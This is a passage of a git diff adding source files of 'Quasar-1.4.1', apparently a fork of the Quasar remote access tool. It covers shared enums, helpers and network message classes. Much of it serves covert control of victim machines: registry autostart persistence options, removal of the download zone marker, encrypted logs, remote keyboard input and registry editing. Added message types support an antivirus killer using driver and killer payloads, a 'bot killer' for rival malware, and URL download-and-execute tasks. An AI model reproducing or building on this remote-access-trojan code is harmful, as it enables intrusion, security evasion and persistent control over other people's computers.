static IPAddress ResolveHostname(Host host) + { + if (string.IsNullOrEmpty(host.Hostname)) return null; + + IPAddress ip; + if (IPAddress.TryParse(host.Hostname, out ip)) + { + if (ip.AddressFamily == AddressFamily.InterNetworkV6) + { + if (!Socket.OSSupportsIPv6) return null; + } + return ip; + } + + var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList; + foreach (IPAddress ipAddress in ipAddresses) + { + switch (ipAddress.AddressFamily) + { + case AddressFamily.InterNetwork: + return ipAddress; + case AddressFamily.InterNetworkV6: + /* Only use resolved IPv6 if no IPv4 address available, + * otherwise it could be possible that the router the client + * is using to connect to the internet doesn't support IPv6. + */ + if (ipAddresses.Length == 1) + return ipAddress; + break; + } + } + + return ip; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/AccountType.cs b/Quasar-1.4.1/Quasar.Common/Enums/AccountType.cs new file mode 100755 index 0000000..19c3eec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/AccountType.cs @@ -0,0 +1,10 @@ +namespace Quasar.Common.Enums +{ + public enum AccountType + { + Admin, + User, + Guest, + Unknown + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/ConnectionState.cs b/Quasar-1.4.1/Quasar.Common/Enums/ConnectionState.cs new file mode 100755 index 0000000..ce42099 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/ConnectionState.cs @@ -0,0 +1,18 @@ +namespace Quasar.Common.Enums +{ + public enum ConnectionState : byte + { + Closed = 1, + Listening = 2, + SYN_Sent = 3, + Syn_Recieved = 4, + Established = 5, + Finish_Wait_1 = 6, + Finish_Wait_2 = 7, + Closed_Wait = 8, + Closing = 9, + Last_ACK = 10, + Time_Wait = 11, + Delete_TCB = 12 + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/ContentType.cs b/Quasar-1.4.1/Quasar.Common/Enums/ContentType.cs new file mode 100755 index 0000000..7782512 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/ContentType.cs @@ -0,0 +1,16 @@ +namespace Quasar.Common.Enums +{ + public enum ContentType + { + // these values must match the index of the images in file manager + Blob = 2, + Application = 3, + Text = 4, + Archive = 5, + Word = 6, + Pdf = 7, + Image = 8, + Video = 9, + Audio = 10 + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/FileType.cs b/Quasar-1.4.1/Quasar.Common/Enums/FileType.cs new file mode 100755 index 0000000..be4b085 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/FileType.cs @@ -0,0 +1,9 @@ +namespace Quasar.Common.Enums +{ + public enum FileType + { + File, + Directory, + Back + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/MouseAction.cs b/Quasar-1.4.1/Quasar.Common/Enums/MouseAction.cs new file mode 100755 index 0000000..85d1e84 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/MouseAction.cs @@ -0,0 +1,14 @@ +namespace Quasar.Common.Enums +{ + public enum MouseAction + { + LeftDown, + LeftUp, + RightDown, + RightUp, + MoveCursor, + ScrollUp, + ScrollDown, + None + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/ProcessAction.cs b/Quasar-1.4.1/Quasar.Common/Enums/ProcessAction.cs new file mode 100755 index 0000000..048ae73 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/ProcessAction.cs @@ -0,0 +1,8 @@ +namespace Quasar.Common.Enums +{ + public enum ProcessAction + { + Start, + End + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/ShutdownAction.cs b/Quasar-1.4.1/Quasar.Common/Enums/ShutdownAction.cs new file mode 100755 index 0000000..d87fddd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/ShutdownAction.cs @@ -0,0 +1,9 @@ +namespace Quasar.Common.Enums +{ + public enum ShutdownAction + { + Shutdown, + Restart, + Standby + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/StartupType.cs b/Quasar-1.4.1/Quasar.Common/Enums/StartupType.cs new file mode 100755 index 0000000..983be5e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/StartupType.cs @@ -0,0 +1,13 @@ +namespace Quasar.Common.Enums +{ + public enum StartupType + { + LocalMachineRun, + LocalMachineRunOnce, + CurrentUserRun, + CurrentUserRunOnce, + StartMenu, + LocalMachineRunX86, + LocalMachineRunOnceX86 + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/UserStatus.cs b/Quasar-1.4.1/Quasar.Common/Enums/UserStatus.cs new file mode 100755 index 0000000..da72609 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/UserStatus.cs @@ -0,0 +1,8 @@ +namespace Quasar.Common.Enums +{ + public enum UserStatus + { + Active, + Idle + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Extensions/DriveTypeExtensions.cs b/Quasar-1.4.1/Quasar.Common/Extensions/DriveTypeExtensions.cs new file mode 100755 index 0000000..270aa21 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Extensions/DriveTypeExtensions.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Quasar.Common.Extensions +{ + public static class DriveTypeExtensions + { + /// + /// Converts the value of the instance to its friendly string representation. + /// + /// The . + /// The friendly string representation of the value of this instance. + public static string ToFriendlyString(this DriveType type) + { + switch (type) + { + case DriveType.Fixed: + return "Local Disk"; + case DriveType.Network: + return "Network Drive"; + case DriveType.Removable: + return "Removable Drive"; + default: + return type.ToString(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Extensions/SocketExtensions.cs b/Quasar-1.4.1/Quasar.Common/Extensions/SocketExtensions.cs new file mode 100755 index 0000000..8b00f9b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Extensions/SocketExtensions.cs @@ -0,0 +1,48 @@ +using System; +using System.Net.Sockets; +using System.Runtime.InteropServices; + +namespace Quasar.Common.Extensions +{ + /// + /// Socket Extension for KeepAlive + /// + /// Abdullah Saleem + /// a.saleem2993@gmail.com + public static class SocketExtensions + { + /// + /// A structure used by SetKeepAliveEx Method + /// + [StructLayout(LayoutKind.Sequential)] + internal struct TcpKeepAlive + { + internal uint onoff; + internal uint keepalivetime; + internal uint keepaliveinterval; + }; + + /// + /// Sets the Keep-Alive values for the current tcp connection + /// + /// Current socket instance + /// Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines. + /// Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry. + public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime) + { + var keepAlive = new TcpKeepAlive + { + onoff = 1, + keepaliveinterval = keepAliveInterval, + keepalivetime = keepAliveTime + }; + int size = Marshal.SizeOf(keepAlive); + IntPtr keepAlivePtr = Marshal.AllocHGlobal(size); + Marshal.StructureToPtr(keepAlive, keepAlivePtr, true); + var buffer = new byte[size]; + Marshal.Copy(keepAlivePtr, buffer, 0, size); + Marshal.FreeHGlobal(keepAlivePtr); + socket.IOControl(IOControlCode.KeepAliveValues, buffer, null); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Extensions/StringExtensions.cs b/Quasar-1.4.1/Quasar.Common/Extensions/StringExtensions.cs new file mode 100755 index 0000000..97ca127 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Extensions/StringExtensions.cs @@ -0,0 +1,69 @@ +using Quasar.Common.Enums; + +namespace Quasar.Common.Extensions +{ + public static class StringExtensions + { + /// + /// Converts the file extension string to its representation. + /// + /// The file extension string. + /// The representation of the file extension string. + public static ContentType ToContentType(this string fileExtension) + { + switch (fileExtension.ToLower()) + { + default: + return ContentType.Blob; + case ".exe": + return ContentType.Application; + case ".txt": + case ".log": + case ".conf": + case ".cfg": + case ".asc": + return ContentType.Text; + case ".rar": + case ".zip": + case ".zipx": + case ".tar": + case ".tgz": + case ".gz": + case ".s7z": + case ".7z": + case ".bz2": + case ".cab": + case ".zz": + case ".apk": + return ContentType.Archive; + case ".doc": + case ".docx": + case ".odt": + return ContentType.Word; + case ".pdf": + return ContentType.Pdf; + case ".jpg": + case ".jpeg": + case ".png": + case ".bmp": + case ".gif": + case ".ico": + return ContentType.Image; + case ".mp4": + case ".mov": + case ".avi": + case ".wmv": + case ".mkv": + case ".m4v": + case ".flv": + return ContentType.Video; + case ".mp3": + case ".wav": + case ".pls": + case ".m3u": + case ".m4a": + return ContentType.Audio; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Helpers/FileHelper.cs b/Quasar-1.4.1/Quasar.Common/Helpers/FileHelper.cs new file mode 100755 index 0000000..b583e1e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Helpers/FileHelper.cs @@ -0,0 +1,101 @@ +using Quasar.Common.Cryptography; +using System.IO; +using System.Linq; +using System.Text; + +namespace Quasar.Common.Helpers +{ + public static class FileHelper + { + /// + /// List of illegal path characters. + /// + private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); + + /// + /// Indicates if the given path contains illegal characters. + /// + /// The path to check. + /// Returns true if the path contains illegal characters, otherwise false. + public static bool HasIllegalCharacters(string path) + { + return path.Any(c => IllegalPathChars.Contains(c)); + } + + /// + /// Gets a random file name. + /// + /// The length of the file name. + /// The file extension including the dot, e.g. .exe. + /// The random file name. + public static string GetRandomFilename(int length, string extension = "") + { + return string.Concat(StringHelper.GetRandomString(length), extension); + } + + /// + /// Gets a path to an unused temp file. + /// + /// The file extension including the dot, e.g. .exe. + /// The path to the temp file. + public static string GetTempFilePath(string extension) + { + string tempFilePath; + do + { + tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension)); + } while (File.Exists(tempFilePath)); + + return tempFilePath; + } + + /// + /// Indicates if the given file header contains the executable identifier (magic number) 'MZ'. + /// + /// The binary file to check. + /// Returns true for valid executable identifiers, otherwise false. + public static bool HasExecutableIdentifier(byte[] binary) + { + if (binary.Length < 2) return false; + return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M'); + } + + /// + /// Deletes the zone identifier for the given file path. + /// + /// The file path. + /// Returns true if the deletion was successful, otherwise false. + public static bool DeleteZoneIdentifier(string filePath) + { + return NativeMethods.DeleteFile(filePath + ":Zone.Identifier"); + } + + /// + /// Appends text to a log file. + /// + /// The filename of the log. + /// The text to append. + /// The AES instance. + public static void WriteLogFile(string filename, string appendText, Aes256 aes) + { + appendText = ReadLogFile(filename, aes) + appendText; + + using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) + { + byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText)); + fStream.Seek(0, SeekOrigin.Begin); + fStream.Write(data, 0, data.Length); + } + } + + /// + /// Reads a log file. + /// + /// The filename of the log. + /// The AES instance. + public static string ReadLogFile(string filename, Aes256 aes) + { + return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Helpers/PlatformHelper.cs b/Quasar-1.4.1/Quasar.Common/Helpers/PlatformHelper.cs new file mode 100755 index 0000000..14f4a7f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Helpers/PlatformHelper.cs @@ -0,0 +1,120 @@ +using System; +using System.Management; +using System.Text.RegularExpressions; + +namespace Quasar.Common.Helpers +{ + public static class PlatformHelper + { + /// + /// Initializes the class. + /// + static PlatformHelper() + { + Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT; + XpOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 5; + VistaOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 6; + SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1)); + EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200)); + EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3)); + TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0)); + RunningOnMono = Type.GetType("Mono.Runtime") != null; + + Name = "Unknown OS"; + using (var searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) + { + foreach (ManagementObject os in searcher.Get()) + { + Name = os["Caption"].ToString(); + break; + } + } + + Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start + Is64Bit = Environment.Is64BitOperatingSystem; + FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit"; + } + + /// + /// Gets the full name of the operating system running on this computer (including the edition and architecture). + /// + public static string FullName { get; } + + /// + /// Gets the name of the operating system running on this computer (including the edition). + /// + public static string Name { get; } + + /// + /// Determines whether the Operating System is 32 or 64-bit. + /// + /// + /// true if the Operating System is 64-bit, otherwise false for 32-bit. + /// + public static bool Is64Bit { get; } + + /// + /// Returns a indicating whether the application is running in Mono runtime. + /// + /// + /// true if the application is running in Mono runtime; otherwise, false. + /// + public static bool RunningOnMono { get; } + + /// + /// Returns a indicating whether the Operating System is Windows 32 NT based. + /// + /// + /// true if the Operating System is Windows 32 NT based; otherwise, false. + /// + public static bool Win32NT { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows XP or higher. + /// + /// + /// true if the Operating System is Windows XP or higher; otherwise, false. + /// + public static bool XpOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows Vista or higher. + /// + /// + /// true if the Operating System is Windows Vista or higher; otherwise, false. + /// + public static bool VistaOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 7 or higher. + /// + /// + /// true if the Operating System is Windows 7 or higher; otherwise, false. + /// + public static bool SevenOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8 or higher. + /// + /// + /// true if the Operating System is Windows 8 or higher; otherwise, false. + /// + public static bool EightOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8.1 or higher. + /// + /// + /// true if the Operating System is Windows 8.1 or higher; otherwise, false. + /// + public static bool EightPointOneOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 10 or higher. + /// + /// + /// true if the Operating System is Windows 10 or higher; otherwise, false. + /// + public static bool TenOrHigher { get; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Helpers/StringHelper.cs b/Quasar-1.4.1/Quasar.Common/Helpers/StringHelper.cs new file mode 100755 index 0000000..e6f9ccc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Helpers/StringHelper.cs @@ -0,0 +1,80 @@ +using Quasar.Common.Utilities; +using System.Text; +using System.Text.RegularExpressions; + +namespace Quasar.Common.Helpers +{ + public static class StringHelper + { + /// + /// Available alphabet for generation of random strings. + /// + private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + + /// + /// Abbreviations of file sizes. + /// + private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" }; + + /// + /// Random number generator. + /// + private static readonly SafeRandom Random = new SafeRandom(); + + /// + /// Gets a random string with given length. + /// + /// The length of the random string. + /// A random string. + public static string GetRandomString(int length) + { + StringBuilder randomName = new StringBuilder(length); + for (int i = 0; i < length; i++) + randomName.Append(Alphabet[Random.Next(Alphabet.Length)]); + + return randomName.ToString(); + } + + /// + /// Gets the human readable file size for a given size. + /// + /// The file size in bytes. + /// The human readable file size. + public static string GetHumanReadableFileSize(long size) + { + double len = size; + int order = 0; + while (len >= 1024 && order + 1 < Sizes.Length) + { + order++; + len = len / 1024; + } + return $"{len:0.##} {Sizes[order]}"; + } + + /// + /// Gets the formatted MAC address. + /// + /// The unformatted MAC address. + /// The formatted MAC address. + public static string GetFormattedMacAddress(string macAddress) + { + return (macAddress.Length != 12) + ? "00:00:00:00:00:00" + : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6"); + } + + /// + /// Safely removes the last N chars from a string. + /// + /// The input string. + /// The amount of last chars to remove (=N). + /// The input string with N removed chars. + public static string RemoveLastChars(string input, int amount = 2) + { + if (input.Length > amount) + input = input.Remove(input.Length - amount); + return input; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/IO/FileSplit.cs b/Quasar-1.4.1/Quasar.Common/IO/FileSplit.cs new file mode 100755 index 0000000..495b419 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/IO/FileSplit.cs @@ -0,0 +1,124 @@ +using Quasar.Common.Models; +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Common.IO +{ + public class FileSplit : IEnumerable, IDisposable + { + /// + /// The maximum size per file chunk. + /// + public readonly int MaxChunkSize = 65535; + + /// + /// The file path of the opened file. + /// + public string FilePath => _fileStream.Name; + + /// + /// The file size of the opened file. + /// + public long FileSize => _fileStream.Length; + + /// + /// The file stream of the opened file. + /// + private readonly FileStream _fileStream; + + /// + /// Initializes a new instance of the class using the given file path and access mode. + /// + /// The path to the file to open. + /// The file access mode for opening the file. Allowed are and . + public FileSplit(string filePath, FileAccess fileAccess) + { + switch (fileAccess) + { + case FileAccess.Read: + _fileStream = File.OpenRead(filePath); + break; + case FileAccess.Write: + _fileStream = File.OpenWrite(filePath); + break; + default: + throw new ArgumentException($"{nameof(fileAccess)} must be either Read or Write."); + } + } + + /// + /// Writes a chunk to the file. In other words. + /// + /// + public void WriteChunk(FileChunk chunk) + { + _fileStream.Seek(chunk.Offset, SeekOrigin.Begin); + _fileStream.Write(chunk.Data, 0, chunk.Data.Length); + } + + /// + /// Reads a chunk of the file. + /// + /// Offset of the file, must be a multiple of for proper reconstruction. + /// The read file chunk at the given offset. + /// + /// The returned file chunk can be smaller than iff the + /// remaining file size from the offset is smaller than , + /// then the remaining file size is used. + /// + public FileChunk ReadChunk(long offset) + { + _fileStream.Seek(offset, SeekOrigin.Begin); + + long chunkSize = _fileStream.Length - _fileStream.Position < MaxChunkSize + ? _fileStream.Length - _fileStream.Position + : MaxChunkSize; + + var chunkData = new byte[chunkSize]; + _fileStream.Read(chunkData, 0, chunkData.Length); + + return new FileChunk + { + Data = chunkData, + Offset = _fileStream.Position - chunkData.Length + }; + } + + /// + /// Returns an enumerator that iterates through the file chunks. + /// + /// An object that can be used to iterate through the file chunks. + public IEnumerator GetEnumerator() + { + for (long currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++) + { + yield return ReadChunk(currentChunk * MaxChunkSize); + } + } + + /// + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _fileStream.Dispose(); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/AVKillerResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/AVKillerResponse.cs new file mode 100755 index 0000000..64d58b2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/AVKillerResponse.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class AVKillerResponse : IMessage + { + [ProtoMember(1)] + public string Output { get; set; } + + [ProtoMember(2)] + public bool IsError { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/BotKillerResult.cs b/Quasar-1.4.1/Quasar.Common/Messages/BotKillerResult.cs new file mode 100755 index 0000000..96c411f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/BotKillerResult.cs @@ -0,0 +1,29 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class BotKillerResult : IMessage + { + [ProtoMember(1)] + public string ProcessName { get; set; } + + [ProtoMember(2)] + public int ProcessId { get; set; } + + [ProtoMember(3)] + public string FilePath { get; set; } + + [ProtoMember(4)] + public string ThreatType { get; set; } + + [ProtoMember(5)] + public string Mutex { get; set; } + + [ProtoMember(6)] + public bool Killed { get; set; } + + [ProtoMember(7)] + public string Message { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentification.cs b/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentification.cs new file mode 100755 index 0000000..69ef36a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentification.cs @@ -0,0 +1,44 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class ClientIdentification : IMessage + { + [ProtoMember(1)] + public string Version { get; set; } + + [ProtoMember(2)] + public string OperatingSystem { get; set; } + + [ProtoMember(3)] + public string AccountType { get; set; } + + [ProtoMember(4)] + public string Country { get; set; } + + [ProtoMember(5)] + public string CountryCode { get; set; } + + [ProtoMember(6)] + public int ImageIndex { get; set; } + + [ProtoMember(7)] + public string Id { get; set; } + + [ProtoMember(8)] + public string Username { get; set; } + + [ProtoMember(9)] + public string PcName { get; set; } + + [ProtoMember(10)] + public string Tag { get; set; } + + [ProtoMember(11)] + public string EncryptionKey { get; set; } + + [ProtoMember(12)] + public byte[] Signature { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentificationResult.cs b/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentificationResult.cs new file mode 100755 index 0000000..c44638b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentificationResult.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class ClientIdentificationResult : IMessage + { + [ProtoMember(1)] + public bool Result { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoAVKillerCommand.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoAVKillerCommand.cs new file mode 100755 index 0000000..8f38552 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoAVKillerCommand.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoAVKillerCommand : IMessage + { + [ProtoMember(1)] + public string Command { get; set; } + + [ProtoMember(2)] + public byte[] DriverData { get; set; } + + [ProtoMember(3)] + public byte[] KillerData { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoAskElevate.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoAskElevate.cs new file mode 100755 index 0000000..69f91cf --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoAskElevate.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoAskElevate : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoAutoTask.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoAutoTask.cs new file mode 100755 index 0000000..f4e0b2f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoAutoTask.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoAutoTask : IMessage + { + [ProtoMember(1)] + public string TaskType { get; set; } // "EXECUTE_URL", "EXECUTE_DISK", "COMMAND", "MESSAGEBOX" + + [ProtoMember(2)] + public string Param1 { get; set; } + + [ProtoMember(3)] + public string Param2 { get; set; } + + [ProtoMember(4)] + public string Param3 { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoBotKiller.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoBotKiller.cs new file mode 100755 index 0000000..d4facff --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoBotKiller.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoBotKiller : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoChangeRegistryValue.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoChangeRegistryValue.cs new file mode 100755 index 0000000..6d8715e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoChangeRegistryValue.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoChangeRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegValueData Value { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoClientDisconnect.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoClientDisconnect.cs new file mode 100755 index 0000000..6ba6745 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoClientDisconnect.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientDisconnect : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoClientReconnect.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoClientReconnect.cs new file mode 100755 index 0000000..085c402 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoClientReconnect.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientReconnect : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoClientUninstall.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoClientUninstall.cs new file mode 100755 index 0000000..eb10b68 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoClientUninstall.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientUninstall : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoCloseConnection.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoCloseConnection.cs new file mode 100755 index 0000000..a764981 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoCloseConnection.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCloseConnection : IMessage + { + [ProtoMember(1)] + public string LocalAddress { get; set; } + + [ProtoMember(2)] + public ushort LocalPort { get; set; } + + [ProtoMember(3)] + public string RemoteAddress { get; set; } + + [ProtoMember(4)] + public ushort RemotePort { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryKey.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryKey.cs new file mode 100755 index 0000000..c5d430d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryKey.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCreateRegistryKey : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryValue.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryValue.cs new file mode 100755 index 0000000..0ceb005 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryValue.cs @@ -0,0 +1,15 @@ +using Microsoft.Win32; +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCreateRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegistryValueKind Kind { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryKey.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryKey.cs new file mode 100755 index 0000000..e2d605e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryKey.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoDeleteRegistryKey : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string KeyName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryValue.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryValue.cs new file mode 100755 index 0000000..630fa05 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryValue.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoDeleteRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string ValueName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoKeyboardEvent.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoKeyboardEvent.cs new file mode 100755 index 0000000..0b11bd6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoKeyboardEvent.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoKeyboardEvent : IMessage + { + [ProtoMember(1)] + public byte Key { get; set; } + + [ProtoMember(2)] + public bool KeyDown { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoLoadRegistryKey.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoLoadRegistryKey.cs new file mode 100755 index 0000000..963ce30 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoLoadRegistryKey.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + 